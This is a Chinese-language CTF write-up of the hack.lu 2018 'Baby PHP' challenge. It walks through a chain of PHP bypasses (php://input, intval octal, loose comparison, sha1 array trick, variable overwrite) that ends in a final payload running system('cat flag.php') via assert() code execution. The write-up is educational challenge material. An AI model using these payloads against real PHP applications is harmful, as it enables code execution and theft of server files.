hacklu CTF 2018 Baby PHP

Baby PHP

核心代码

打开后给了代码:

 <?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
    highlight_file(__FILE__);
    die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
    die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;  

阶段一

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

过file_get_contents()用到了php伪协议。https://www.lorexxar.cn/2016/09/14/php-wei/。只要通过php://input来读取POST里的数据就可以。 所以构造payload:

?msg=php://input
post:Hello Challenge!

阶段二

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

接下来要绕过intval()函数。 这里k1变量要经过intval()后不与cc=1337相同,但是本身k1要与c1相同。 下面看一些变量被intval()后的例子:

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

这里参照echo intval(042); // 34,把,构造payload:

?msg=php://input&key1=01337

这样int(01337)会变成八进制,不与cc相同。但是k1又是等于cc的。

阶段三

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

首先要求strlen($k2) == $bb,bb=42。 然后要满足正则。这里的这个是美元符号,而不是正则表达式里的行尾铆钉符$。 最后要要求k2==cc。这里是弱比较。 来测试以下:

<?php
        $cc = 1337;
        $k2='00000000000000000000000000000000000001337$';
        var_dump(preg_match('/^\d+$/', $k2));
        var_dump(!is_numeric($k2));
        var_dump($k2 == $cc);
        var_dump($k2);
?>

变量k2等于cc的原因就是PHP的恐龙特性。 于是构造payload:

?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$
post:Hello Challenge!

然后就可以对cc进行赋值了。

阶段四

list($k1,$k2) = [$k2, $k1];

list($k1,$k2) = [$k2, $k1];这一步交换了k1k2的值。

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

substr()函数将截取cc42位后,要与sha1($cc)相同。 sha1()可以用数组绕过。所以构造cc[1]=1,两个同时为null就绕过了。

构造payload:

?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$&cc[1]=1
post:Hello Challenge!

之后就存在变量覆盖的问题,可以参考文章:https://www.cnblogs.com/xiaozi/p/7768580.html。此时我们对任何参数是可控的。

阶段五

$‮b = "2";$a="‮b";//;1=b

这里a=b,b=1

if($$a !== $k1){
    die("lel no\n");
}

$$a取值就为$bb为1,传参k1=1即可。 现在的payload为:

?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$&cc[1]=1&k1=2
post:Hello Challenge!

阶段六

assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;

最后的assert()函数可用来执行代码。可以参考:https://www.cnblogs.com/xiaozi/p/7834367.html。 可以看到这里的输出flag已经被注释掉了,需要自己去输出。 构造bb=system('cat flag.php');//即可。 最后的payload:

?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$&cc[1]=1&k1=2&bb=system('cat flag.php');//
POST:Hello Challenge!

得到flag。

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-10-23

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏华章科技

10道Hadoop面试真题及解题思路

首先是这一天,并且是访问百度的日志中的IP取出来,逐个写入到一个大文件中。注意到IP是32位的,最多有个2^32个IP。同样可以采用映射的方法, 比如模1000...

742
来自专栏深度学习那些事儿

探讨pytorch中nn.Module与nn.autograd.Function的backward()函数

本文讲解基于pytorch0.4.0版本,如不清楚版本信息请看这里。backward()在pytorch中是一个经常出现的函数,我们一般会在更新loss的时候使...

2624
来自专栏技术博文

php pathinfo()的用法

pathinfo — 返回文件路径的信息  mixed pathinfo ( string $path [, int $options = PATHINFO_D...

3987
来自专栏来自地球男人的部落格

tensorflow中取值

最近在写用tensorflow的程序时,中途遇到想取出tensorflow中的返回值是什么,可是其返回值也是一个tensor。用了两种方法,试图将tensor直...

2246
来自专栏漏斗社区

HASH函数烧脑大作战

本期讲解一下hash函数,由于之前在比赛中做到了一题hash有关的题目,引发了此次的深(烧)度(脑)研究,本来想讲讲原理,但是太难,看得很痛苦,所以此次通过结合...

1245
来自专栏锦小年的博客

python学习笔记6.7-简化数据结构的初始化过程

我们每编写一个类的时候都需要编写一个初始化函数,那么如果编写的类当做数据结构来用,它们的初始化结构就是一样的,例如: class Stock: def ...

2156
来自专栏AI派

TensorFlow修炼之道(3)——计算图和会话(Graph&Session)

在计算图中,节点表示计算单位,边表示计算用到和产生的数据。 例如,在TensorFlow图中,tf.matmul操作将对应于具有两个输入边(要乘以的矩阵)和一个...

3344
来自专栏*坤的Blog

hdu1043

1724
来自专栏计算机视觉与深度学习基础

Leetcode 65 Valid Number DFA有限状态机

Validate if a given string is numeric. Some examples: "0" => true " 0.1 " =>...

2296
来自专栏yw的数据分析

data.table包使用应该注意的一些细节

  注意默认nThread=getDTthreads(),即使用所有能用的核心,但并不是核心用的越多越好,本人亲自测试的情况下,其实单核具有较强的性能,只有在数...

761

扫码关注云+社区

领取腾讯云代金券